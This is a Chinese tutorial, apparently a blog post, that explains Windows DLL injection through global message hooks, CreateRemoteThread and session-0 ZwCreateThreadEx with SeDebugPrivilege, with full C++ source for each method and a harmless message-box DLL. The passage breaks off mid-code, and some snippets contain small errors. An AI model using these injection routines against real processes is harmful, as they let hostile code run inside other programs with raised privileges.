DLL注入技術(shù),一般來講是向一個正在運行的進(jìn)程插入/注入代碼的過程。我們注入的代碼以動態(tài)鏈接庫(DLL)的形式存在。DLL文件在運行時將按需加載(類似于UNIX系統(tǒng)中的共享庫(share object,擴展名為.so))。然而實際上,我們可以以其他的多種形式注入代碼(正如惡意軟件中所常見的,任意PE文件,shellcode代碼/程序集等)。
在Windows大部分應(yīng)用都是基于消息機制,他們都擁有一個消息過程函數(shù),根據(jù)不同消息完成不同功能,windows通過鉤子機制來截獲和監(jiān)視系統(tǒng)中的這些消息。一般鉤子分局部鉤子與全局鉤子,局部鉤子一般用于某個線程,而全局鉤子一般通過dll文件實現(xiàn)相應(yīng)的鉤子函數(shù)。
SetWindowsHookEx
HHOOK WINAPI SetWindowsHookEx(
__in int idHook, \\鉤子類型
__in HOOKPROC lpfn, \\回調(diào)函數(shù)地址
__in HINSTANCE hMod, \\實例句柄
__in DWORD dwThreadId); \\線程ID
通過設(shè)定鉤子類型與回調(diào)函數(shù)的地址,將定義的鉤子函數(shù)安裝到掛鉤鏈中。如果函數(shù)成功返回鉤子的句柄,如果函數(shù)失敗,則返回NULL
由上述介紹可以知道如果創(chuàng)建的是全局鉤子,那么鉤子函數(shù)必須在一個DLL中。這是因為進(jìn)程的地址空間是獨立的,發(fā)生對應(yīng)事件的進(jìn)程不能調(diào)用其他進(jìn)程地址空間的鉤子函數(shù)。如果鉤子函數(shù)的實現(xiàn)代碼在DLL中,則在對應(yīng)事件發(fā)生時,系統(tǒng)會把這個DLL加較到發(fā)生事體的進(jìn)程地址空間中,使它能夠調(diào)用鉤子函數(shù)進(jìn)行處理。
在操作系統(tǒng)中安裝全局鉤子后,只要進(jìn)程接收到可以發(fā)出鉤子的消息,全局鉤子的DLL文件就會由操作系統(tǒng)自動或強行地加載到該進(jìn)程中。因此,設(shè)置全局鉤子可以達(dá)到DLL注入的目的。創(chuàng)建一個全局鉤子后,在對應(yīng)事件發(fā)生的時候,系統(tǒng)就會把 DLL加載到發(fā)生事件的進(jìn)程中,這樣,便實現(xiàn)了DLL注入。
為了能夠讓DLL注入到所有的進(jìn)程中,程序設(shè)置WH_GETMESSAGE消息的全局鉤子。因為WH_GETMESSAGE類型的鉤子會監(jiān)視消息隊列,并且 Windows系統(tǒng)是基于消息驅(qū)動的,所以所有進(jìn)程都會有自己的一個消息隊列,都會加載 WH_GETMESSAGE類型的全局鉤子DLL。
那么設(shè)置WH_GETMESSAGE就可以通過以下代碼實現(xiàn),記得加上判斷是否設(shè)置成功
// 設(shè)置全局鉤子
BOOL SetHook()
{
g_Hook=::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0);
if (g_Hook==NULL)
{
return FALSE;
}
return TRUE;
}
這里第二個參數(shù)是回調(diào)函數(shù),那么我們還需要寫一個回調(diào)函數(shù)的實現(xiàn),這里就需要用到CallNextHookEx這個api,主要是第一個參數(shù),這里傳入鉤子的句柄的話,就會把當(dāng)前鉤子傳遞給下一個鉤子,若參數(shù)傳入0則對鉤子進(jìn)行攔截
// 鉤子回調(diào)函數(shù)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
return ::CallNextHookEx(g_Hook, code, wParam, lParam);
}
既然我們寫入了鉤子,如果不使用的情況下就需要將鉤子卸載掉,那么這里使用到UnhookWindowsHookEx這個api來卸載鉤子
// 卸載鉤子
BOOL UnsetHook()
{
if (g_Hook)
{
::UnhookWindowsHookEx(g_Hook);
}
}
既然我們使用到了SetWindowsHookEx這個api,就需要進(jìn)行進(jìn)程間的通信,進(jìn)程通信的方法有很多,比如自定義消息、管道、dll共享節(jié)、共享內(nèi)存等等,這里就用共享內(nèi)存來實現(xiàn)進(jìn)程通信
// 共享內(nèi)存
#pragma data_seg("mydata")
HHOOK g_hHook=NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS"
首先新建一個dll
在pch.h頭文件里面聲明這幾個我們定義的函數(shù)都是裸函數(shù),由我們自己平衡堆棧
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
然后在pch.cpp里面寫入三個函數(shù)并創(chuàng)建共享內(nèi)存
// pch.cpp: 與預(yù)編譯標(biāo)頭對應(yīng)的源文件
#include "pch.h"
#include <windows.h>
#include <stdio.h>
extern HMODULE g_hDllModule;
// 共享內(nèi)存
#pragma data_seg("mydata")
HHOOK g_hHook=NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
//鉤子回調(diào)函數(shù)
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 設(shè)置鉤子
BOOL SetHook() {
g_hHook=SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (NULL==g_hHook) {
return FALSE;
}
return TRUE;
}
// 卸載鉤子
BOOL UnsetHook() {
if (g_hHook) {
UnhookWindowsHookEx(g_hHook);
}
return TRUE;
}
然后再在dllmain.cpp設(shè)置DLL_PROCESS_ATTACH,然后編譯生成Golbal.dll
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點。
#include "pch.h"
HMODULE g_hDllModule=NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
g_hDllModule=hModule;
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
再創(chuàng)建一個控制臺項目
使用LoadLibrabryW加載dll,生成GolbalInjectDll.cpp文件
// GolbalInjectDll.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。
//
#include <iostream>
#include <Windows.h>
int main()
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll=NULL;
typedef_SetGlobalHook SetGlobalHook=NULL;
typedef_UnsetGlobalHook UnsetGlobalHook=NULL;
BOOL bRet=FALSE;
do
{
hDll=::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll"));
if (NULL==hDll)
{
printf("LoadLibrary Error[%d]\n", ::GetLastError());
break;
}
SetGlobalHook=(typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (NULL==SetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
bRet=SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.\n");
}
else
{
printf("SetGlobalHook ERROR.\n");
}
system("pause");
UnsetGlobalHook=(typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (NULL==UnsetGlobalHook)
{
printf("GetProcAddress Error[%d]\n", ::GetLastError());
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
執(zhí)行即可注入GolbalDll.dll
遠(yuǎn)程線程函數(shù)顧名思義,指一個進(jìn)程在另一個進(jìn)程中創(chuàng)建線程。
CreateRemoteThread
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
lpStartAddress:A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see ThreadProc).
lpParameter:A pointer to a variable to be passed to the thread function.
lpStartAddress即線程函數(shù),使用LoadLibrary的地址作為線程函數(shù)地址;lpParameter為線程函數(shù)參數(shù),使用dll路徑作為參數(shù)
VirtualAllocEx
是在指定進(jìn)程的虛擬空間保留或提交內(nèi)存區(qū)域,除非指定MEM_RESET參數(shù),否則將該內(nèi)存區(qū)域置0。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
hProcess:申請內(nèi)存所在的進(jìn)程句柄
lpAddress:保留頁面的內(nèi)存地址;一般用NULL自動分配 。
dwSize:欲分配的內(nèi)存大小,字節(jié)單位;注意實際分 配的內(nèi)存大小是頁內(nèi)存大小的整數(shù)倍。
flAllocationType
可取下列值:
MEM_COMMIT:為特定的頁面區(qū)域分配內(nèi)存中或磁盤的頁面文件中的物理存儲
MEM_PHYSICAL :分配物理內(nèi)存(僅用于地址窗口擴展內(nèi)存)
MEM_RESERVE:保留進(jìn)程的虛擬地址空間,而不分配任何物理存儲。保留頁面可通過繼續(xù)調(diào)用VirtualAlloc()而被占用
MEM_RESET :指明在內(nèi)存中由參數(shù)lpAddress和dwSize指定的數(shù)據(jù)無效
MEM_TOP_DOWN:在盡可能高的地址上分配內(nèi)存(Windows 98忽略此標(biāo)志)
MEM_WRITE_WATCH:必須與MEM_RESERVE一起指定,使系統(tǒng)跟蹤那些被寫入分配區(qū)域的頁面(僅針對Windows 98)
flProtect
可取下列值:
PAGE_READONLY: 該區(qū)域為只讀。如果應(yīng)用程序試圖訪問區(qū)域中的頁的時候,將會被拒絕訪
PAGE_READWRITE 區(qū)域可被應(yīng)用程序讀寫
PAGE_EXECUTE: 區(qū)域包含可被系統(tǒng)執(zhí)行的代碼。試圖讀寫該區(qū)域的操作將被拒絕。
PAGE_EXECUTE_READ :區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀該區(qū)域。
PAGE_EXECUTE_READWRITE: 區(qū)域包含可執(zhí)行代碼,應(yīng)用程序可以讀寫該區(qū)域。
PAGE_GUARD: 區(qū)域第一次被訪問時進(jìn)入一個STATUS_GUARD_PAGE異常,這個標(biāo)志要和其他保護標(biāo)志合并使用,表明區(qū)域被第一次訪問的權(quán)限
PAGE_NOACCESS: 任何訪問該區(qū)域的操作將被拒絕
PAGE_NOCACHE: RAM中的頁映射到該區(qū)域時將不會被微處理器緩存(cached)
注:PAGE_GUARD和PAGE_NOCHACHE標(biāo)志可以和其他標(biāo)志合并使用以進(jìn)一步指定頁的特征。PAGE_GUARD標(biāo)志指定了一個防護頁(guard page),即當(dāng)一個頁被提交時會因第一次被訪問而產(chǎn)生一個one-shot異常,接著取得指定的訪問權(quán)限。PAGE_NOCACHE防止當(dāng)它映射到虛擬頁的時候被微處理器緩存。這個標(biāo)志方便設(shè)備驅(qū)動使用直接內(nèi)存訪問方式(DMA)來共享內(nèi)存塊。
WriteProcessMemory
此函數(shù)能寫入某一進(jìn)程的內(nèi)存區(qū)域(直接寫入會出Access Violation錯誤),故需此函數(shù)入口區(qū)必須可以訪問,否則操作將失敗。
BOOL WriteProcessMemory(
HANDLE hProcess, //進(jìn)程句柄
LPVOID lpBaseAddress, //寫入的內(nèi)存首地址
LPCVOID lpBuffer, //要寫數(shù)據(jù)的指針
SIZE_T nSize, //x
SIZE_T *lpNumberOfBytesWritten
);
使用CreateRemoteThread這個API,首先使用CreateToolhelp32Snapshot拍攝快照獲取pid,然后使用Openprocess打開進(jìn)程,使用VirtualAllocEx
遠(yuǎn)程申請空間,使用WriteProcessMemory寫入數(shù)據(jù),再用GetProcAddress獲取LoadLibraryW的地址(由于Windows引入了基址隨機化ASLR安全機制,所以導(dǎo)致每次開機啟動時系統(tǒng)DLL加載基址都不一樣,有些系統(tǒng)dll(kernel,ntdll)的加載地址,允許每次啟動基址可以改變,但是啟動之后必須固定,也就是說兩個不同進(jìn)程在相互的虛擬內(nèi)存中,這樣的系統(tǒng)dll地址總是一樣的),在注入進(jìn)程中創(chuàng)建線程(CreateRemoteThread)
首先生成一個dll文件,實現(xiàn)簡單的彈窗即可
// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"Congratulation", MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我們要想進(jìn)行遠(yuǎn)程線程注入,那么就需要得到進(jìn)程的pid,這里使用到的是CreateToolhelp32Snapshot這個api拍攝快照來進(jìn)行獲取,注意我這里定義了#include "tchar.h",所有函數(shù)都是使用的寬字符
// 通過進(jìn)程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret=0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot==INVALID_HANDLE_VALUE)
{
printf("獲取進(jìn)程快照失敗,請重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize=sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret=p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
首先使用OpenProcess打開進(jìn)程
hprocess=::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
然后使用VirtualAllocEx遠(yuǎn)程申請空間
pAllocMemory=::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
然后寫入內(nèi)存,使用WriteProcessMemory
Write=::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
然后創(chuàng)建線程并等待線程函數(shù)結(jié)束,這里WaitForSingleObject的第二個參數(shù)要設(shè)置為-1才能夠一直等待
//在另一個進(jìn)程中創(chuàng)建線程
hThread=::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
//等待線程函數(shù)結(jié)束,獲得退出碼
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
綜上完整代碼如下
// RemoteThreadInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include "tchar.h"
char string_inject[]="F:\\C++\\Inject\\Inject\\Debug\\Inject.dll";
//通過進(jìn)程快照獲取PID
DWORD _GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret=0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot==INVALID_HANDLE_VALUE)
{
printf("獲取進(jìn)程快照失敗,請重試! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize=sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret=p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
//打開一個進(jìn)程并為其創(chuàng)建一個線程
DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
{
//打開進(jìn)程
HANDLE hprocess;
HANDLE hThread;
DWORD _Size=0;
BOOL Write=0;
LPVOID pAllocMemory=NULL;
DWORD DllAddr=0;
FARPROC pThread;
hprocess=::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
//Size=sizeof(string_inject);
_Size=(_tcslen(DllName) + 1) * sizeof(TCHAR);
//遠(yuǎn)程申請空間
pAllocMemory=::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if (pAllocMemory==NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
// 寫入內(nèi)存
Write=::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
if (Write==FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//獲取LoadLibrary的地址
pThread=::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr=(LPTHREAD_START_ROUTINE)pThread;
//在另一個進(jìn)程中創(chuàng)建線程
hThread=::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
if (hThread==NULL)
{
printf("CreateRemoteThread - Error!");
return FALSE;1
}
//等待線程函數(shù)結(jié)束,獲得退出碼
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
//釋放DLL空間
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//關(guān)閉線程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID=_GetProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}
然后這里生成一個test.exe來做測試
編譯并運行,實現(xiàn)效果如下
首先提一提session0的概念:
Intel的CPU將特權(quán)級別分為4個級別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個級別RING0和RING3,RING0只給操作系統(tǒng)用,RING3誰都能用。如果普通應(yīng)用程序企圖執(zhí)行RING0指令,則Windows會顯示“非法指令”錯誤信息。
ring0是指CPU的運行級別,ring0是最高級別,ring1次之,ring2更次之…… 拿Linux+x86來說, 操作系統(tǒng)(內(nèi)核)的代碼運行在最高運行級別ring0上,可以使用特權(quán)指令,控制中斷、修改頁表、訪問設(shè)備等等。 應(yīng)用程序的代碼運行在最低運行級別上ring3上,不能做受控操作。如果要做,比如要訪問磁盤,寫文件,那就要通過執(zhí)行系統(tǒng)調(diào)用(函數(shù)),執(zhí)行系統(tǒng)調(diào)用的時候,CPU的運行級別會發(fā)生從ring3到ring0的切換,并跳轉(zhuǎn)到系統(tǒng)調(diào)用對應(yīng)的內(nèi)核代碼位置執(zhí)行,這樣內(nèi)核就為你完成了設(shè)備訪問,完成之后再從ring0返回ring3。這個過程也稱作用戶態(tài)和內(nèi)核態(tài)的切換。
RING設(shè)計的初衷是將系統(tǒng)權(quán)限與程序分離出來,使之能夠讓OS更好地管理當(dāng)前系統(tǒng)資源,也使得系統(tǒng)更加穩(wěn)定。舉個RING權(quán)限的最簡單的例子:一個停止響應(yīng)的應(yīng)用程式,它運行在比RING0更低的指令環(huán)上,你不必大費周章地想著如何使系統(tǒng)恢復(fù)運作,這期間,只需要啟動任務(wù)管理器便能輕松終止它,因為它運行在比程式更低的RING0指令環(huán)中,擁有更高的權(quán)限,可以直接影響到RING0以上運行的程序,當(dāng)然有利就有弊,RING保證了系統(tǒng)穩(wěn)定運行的同時,也產(chǎn)生了一些十分麻煩的問題。比如一些OS虛擬化技術(shù),在處理RING指令環(huán)時便遇到了麻煩,系統(tǒng)是運行在RING0指令環(huán)上的,但是虛擬的OS畢竟也是一個系統(tǒng),也需要與系統(tǒng)相匹配的權(quán)限。而RING0不允許出現(xiàn)多個OS同時運行在上面,最早的解決辦法便是使用虛擬機,把OS當(dāng)成一個程序來運行。
ZwCreateThreadEx
注意一下這個地方ZwCreateThreadEx這個函數(shù)在32位和64位中的定義不同
在32位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
在64位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
這里因為我們要進(jìn)到session 0那么就勢必要到system權(quán)限,所以這里還有幾個提權(quán)需要用到的函數(shù)
OpenProcessToken
BOOL OpenProcessToken(
__in HANDLE ProcessHandle, //要修改訪問權(quán)限的進(jìn)程句柄
__in DWORD DesiredAccess, //指定你要進(jìn)行的操作類型
__out PHANDLE TokenHandle //返回的訪問令牌指針
);
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //要查看的系統(tǒng),本地系統(tǒng)直接用NULL
LPCSTR lpName, //指向一個以零結(jié)尾的字符串,指定特權(quán)的名稱
PLUID lpLuid //用來接收所返回的制定特權(quán)名稱的信息
);
AdjustTokenPrivileges
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //包含特權(quán)的句柄
BOOL DisableAllPrivileges,//禁用所有權(quán)限標(biāo)志
PTOKEN_PRIVILEGES NewState,//新特權(quán)信息的指針(結(jié)構(gòu)體)
DWORD BufferLength, //緩沖數(shù)據(jù)大小,以字節(jié)為單位的PreviousState的緩存區(qū)(sizeof)
PTOKEN_PRIVILEGES PreviousState,//接收被改變特權(quán)當(dāng)前狀態(tài)的Buffer
PDWORD ReturnLength //接收PreviousState緩存區(qū)要求的大小
);
ZwCreateThreadEx比 CreateRemoteThread函數(shù)更為底層,CreateRemoteThread函數(shù)最終是通過調(diào)用ZwCreateThreadEx函數(shù)實現(xiàn)遠(yuǎn)線程創(chuàng)建的。
通過調(diào)用CreateRemoteThread函數(shù)創(chuàng)建遠(yuǎn)線程的方式在內(nèi)核6.0(Windows VISTA、7、8等)以前是完全沒有問題的,但是在內(nèi)核6.0 以后引入了會話隔離機制。它在創(chuàng)建一個進(jìn)程之后并不立即運行,而是先掛起進(jìn)程,在查看要運行的進(jìn)程所在的會話層之后再決定是否恢復(fù)進(jìn)程運行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統(tǒng)中,服務(wù)和應(yīng)用程序使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制臺的用戶啟動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務(wù),也包含標(biāo)準(zhǔn)用戶應(yīng)用程序。
將服務(wù)和用戶應(yīng)用程序一起在Session 0中運行會導(dǎo)致安全風(fēng)險,因為服務(wù)會使用提升后的權(quán)限運行,而用戶應(yīng)用程序使用用戶特權(quán)(大部分都是非管理員用戶)運行,這會使得惡意軟件以某個服務(wù)為攻擊目標(biāo),通過“劫持”該服務(wù),達(dá)到提升自己權(quán)限級別的目的。
從Windows Vista開始,只有服務(wù)可以托管到Session 0中,用戶應(yīng)用程序和服務(wù)之間會被隔離,并需要運行在用戶登錄到系統(tǒng)時創(chuàng)建的后續(xù)會話中。例如第一個登錄的用戶創(chuàng)建 Session 1,第二個登錄的用戶創(chuàng)建Session 2,以此類推,如下圖所示。
使用CreateRemoteThread注入失敗DLL失敗的關(guān)鍵在第七個參數(shù)CreateThreadFlags, 他會導(dǎo)致線程創(chuàng)建完成后一直掛起無法恢復(fù)進(jìn)程運行,導(dǎo)致注入失敗。而想要注冊成功,把該參數(shù)的值改為0即可。
在win10系統(tǒng)下如果我們要注入系統(tǒng)權(quán)限的exe,就需要使用到debug調(diào)試權(quán)限,所以先寫一個提權(quán)函數(shù)。
// 提權(quán)函數(shù)
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
在進(jìn)程注入dll的過程中,是不能夠使用MessageBox的,系統(tǒng)程序不能夠顯示程序的窗體,所以這里編寫一個ShowError函數(shù)來獲取錯誤碼
void ShowError(const char* pszText)
{
char szError[MAX_PATH]={ 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
首先打開進(jìn)程獲取句柄,使用到OpenProcess
hProcess=::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
然后是在注入的進(jìn)程申請內(nèi)存地址,使用到VirtualAllocEx
pDllAddr=::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory寫入內(nèi)存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
加載ntdll,獲取LoadLibraryA函數(shù)地址
HMODULE hNtdllDll=::LoadLibrary("ntdll.dll");
pFuncProcAddr=::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
獲取ZwCreateThreadEx函數(shù)地址
typedef_ZwCreateThreadEx ZwCreateThreadEx=(typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
使用 ZwCreateThreadEx創(chuàng)建遠(yuǎn)線程, 實現(xiàn) DLL 注入
dwStatus=ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
這里還有一點需要注意的是ZwCreateThreadEx在 ntdll.dll 中并沒有聲明,所以我們需要使用 GetProcAddress從 ntdll.dll中獲取該函數(shù)的導(dǎo)出地址
這里加上ZwCreateThreadEx的定義,因為64位、32位結(jié)構(gòu)不同,所以都需要進(jìn)行定義
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
完整代碼如下
// session0Inject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。
//
#include <Windows.h>
#include <stdio.h>
#include <iostream>
void ShowError(const char* pszText)
{
char szError[MAX_PATH]={ 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 提權(quán)函數(shù)
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
// 使用 ZwCreateThreadEx 實現(xiàn)遠(yuǎn)線程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
HANDLE hProcess=NULL;
SIZE_T dwSize=0;
LPVOID pDllAddr=NULL;
FARPROC pFuncProcAddr=NULL;
HANDLE hRemoteThread=NULL;
DWORD dwStatus=0;
EnableDebugPrivilege();
// 打開注入進(jìn)程,獲取進(jìn)程句柄
hProcess=::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess==NULL)
{
printf("OpenProcess - Error!\n\n");
return -1 ;
}
// 在注入的進(jìn)程申請內(nèi)存地址
dwSize=::lstrlen(pszDllFileName) + 1;
pDllAddr=::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL==pDllAddr)
{
ShowError("VirtualAllocEx - Error!\n\n");
return FALSE;
}
//寫入內(nèi)存地址
if (FALSE==::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!\n\n");
return FALSE;
}
//加載ntdll
HMODULE hNtdllDll=::LoadLibrary("ntdll.dll");
if (NULL==hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函數(shù)地址
pFuncProcAddr=::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL==pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//獲取ZwCreateThreadEx函數(shù)地址
